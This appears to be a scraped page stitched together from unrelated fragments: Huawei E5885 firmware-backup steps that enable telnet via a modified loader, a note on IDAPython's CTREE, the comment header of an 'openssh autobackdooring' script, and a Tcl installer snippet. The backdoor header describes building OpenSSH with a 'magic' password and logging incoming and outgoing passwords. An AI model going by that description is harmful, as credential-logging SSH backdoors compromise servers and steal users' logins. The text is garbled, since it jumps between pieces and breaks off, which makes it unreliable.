NyaMisty

Huawei E5885 current firmware backup manual.

Download modified usbloader, which will copy proper busybox into /system/busybox and enable telnetd on your device (will add additional line into /system/autorun.sh). Use it only on E5885, not on other device!
Load it using balong-usbdload. Refer to this disassembling manual.
After loading, wait about one minute, disconnect device from the computer and power off the device holding power button for ~15 seconds.
Insert MicroSD card to the device and power it on.
telnet 192.168.8.1 2323

/system/busybox sh

IDAPython CTREE

Important links

Description

The CTREE is built from the optimized microcode (maturity at CMAT_FINAL), it represents an AST-like tree with C statements and expressions. It can be printed as C code.

	#!/bin/bash
	# ============================================
	# satyr's openssh autobackdooring doohicky v0.-1
	# [email protected]
	# ============================================
	# USAGE:
	# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
	# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
	# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
	# [it'll install them via apt or yum, whichever is available]).

	#!./tclkit

	## prepare runtime environment
	proc init {} {
	## mount optional.pak (for tcltwofish)
	set optionalPak installbuilder/paks/optional.pak
	vfs::mk4::Mount $optionalPak $optionalPak -readonly

	## adjust library search path
	set ::auto_path [list $tcl::kitpath/lib/tcl$::tcl_version $tcl::kitpath/lib $tcl::kitpath/libraries $optionalPak/linux-x64 $tcl::kitpath]